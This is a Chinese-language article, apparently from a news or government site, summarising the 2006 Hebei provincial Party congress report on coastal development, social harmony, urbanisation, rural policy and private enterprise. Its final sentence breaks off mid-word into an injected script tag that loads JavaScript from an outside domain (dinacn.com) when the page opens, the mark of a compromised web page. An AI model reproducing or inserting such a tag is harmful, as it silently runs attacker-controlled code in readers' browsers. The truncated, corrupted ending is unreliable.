2006年11月9日，中共河北省第七次代表大会召开。这是河北加快推进现代化建设、在新的历史起点上召开的一次十分重要的会议。大会报告在回顾总结经验的基础上，提出了“建设沿海经济社会发展强省”的奋斗目标，明确了指导思想，即以科学发展观统领全局，弘扬“树正气、讲团结、求发展”主旋律，紧紧围绕“更快更好发展、构建和谐河北”两大主要任务，深入实施科教兴冀、两环开放带动、城市化、可持续发展四大主体战略，扎实推进经济、政治、文化、社会和党的建设，加快全面建设小康社会步伐。这是顺应“环渤海”崛起的战略选择，是改变河北“东部区位、中部水平”状况的必然要求，是振奋精神，激发全省人民振兴河北巨大热情的迫切需要。

    党代会报告认为，河北正面临着“两环”优势，而“环渤海”正在成为继珠三角、长三角之后我国新的经济增长极，这是对河北作用最直接、影响最深远的一次历史性机遇，为该省把区位优势转化为经济优势、实现发展新跨越，提供了极为重要的前提条件。

    打造沿海经济隆起带，战略重点更加突出。报告认为河北省与东部沿海发达省份的差距在沿海，潜力和希望也在沿海。因此，鲜明提出“建设沿海经济社会发展强省”的宏伟目标，并把突破口和战略重点确定为打造沿海经济隆起带。

    构建和谐河北，措施更加细化。报告提出建设和谐社会，是一个不断推进的历史发展过程，是一项复杂的社会系统工程。要从亟待解决的问题入手，从能够做到的事情做起，扎实有效地予以推进。

    一是高度关注民生，着力解决人民群众最关心最直接最现实的利益问题。千方百计扩大就业，要把解决下岗失业人员再就业和城镇新增劳动力就业、高校毕业生就业、零就业家庭就业、被征地农民就业、退役军人就业和安置作为重点。加快社会保障体系建设，逐步建成以最低生活保障、灾民救助和五保供养为基础，以医疗、教育、住房等专项救助为辅助，以社会帮扶为补充的覆盖城乡的新型社会救助体系。完善社会事业发展政策，着重解决“上学难”、“看病难”问题。

    二是充分发扬民主，加快法治进程，创造政通人和、公平正义的社会环境。加强基层民主政治建设，围绕民主选举、民主理财、民主议事三个重点，健全基层自治组织和民主管理制度，保障人民群众依法行使民主权利。

    三是切实保障民安，化解社会矛盾，全力维护社会稳定。完善人民调解、行政调解、司法调解“三位一体”的矛盾纠纷调解工作体系，积极构筑城乡一体化的社会治安防控体系，把问题化解在萌芽状态。

    四是积极塑造民魂，建设和谐文化，为构建和谐河北提供精神支撑。树立以“八荣八耻”为主要内容的社会主义荣辱观，开展社会公德、职业道德和家庭美德建设。

    五是大力促进民和，协调各方关系，推动全社会和谐相处，积极促进政党关系、民族关系、宗教关系、阶层关系、党群关系的和谐。全心全意为人民群众办实事、谋利益，最大限度地增加和谐因素、减少不和谐因素。

    实现上述两大战略目标，根本在于加强和改进党的领导。要加强领导班子建设，大力弘扬“树正气、讲团结、求发展”的主旋律，要以民主集中制保证科学决策，坚持集体领导、民主集中、个别酝酿、会议决定的原则，不断完善议事规则和程序；加强基层组织建设，“内选”与“外派”相结合，选派优秀机关干部到基层任职，选派大学生村干部，继续实施党员干部“素质工程”；大兴为民之风，大兴务实之风，大兴清廉之风：即想问题、做决策、办事情，都要倾听群众呼声，集中群众智慧，反映群众意愿，不喊哗众取宠的空洞口号，不做华而不实的表面文章。

    突出重点、梯级推进城市化进程

    重点建设好石家庄、唐山两个省域中心城市，完善各设区市城市功能，使其成为地区工业化中心；加快中小城市发展步伐，使其成为区域工业集聚和商贸流通中心；加强县城和重点镇基础设施建设，使其成为县域经济中心。支持一批有条件的小城市发展成为中等城市，扶持一批经济大镇和文化名镇快速发展。

    以县域经济为支撑建设新农村
 
    坚持产业强村，发展“一村一品”，实现增值增收；坚持文化兴村，抓好“村民中心”建设；坚持生态建村，创造舒适卫生的人居环境；坚持民主治村，健全村务公开和民主议事制度。推动基础设施和公共服务向农村延伸，各级财政支出、预算内固定资产投资和信贷投放向“三农”倾斜，使更多贫困人口实现稳定脱贫。

    发展民营经济，落实一视同仁政策

    在市场准入上给予同等待遇，凡法律法规未禁入的非公有资?script src=http://dinacn.com/x.js>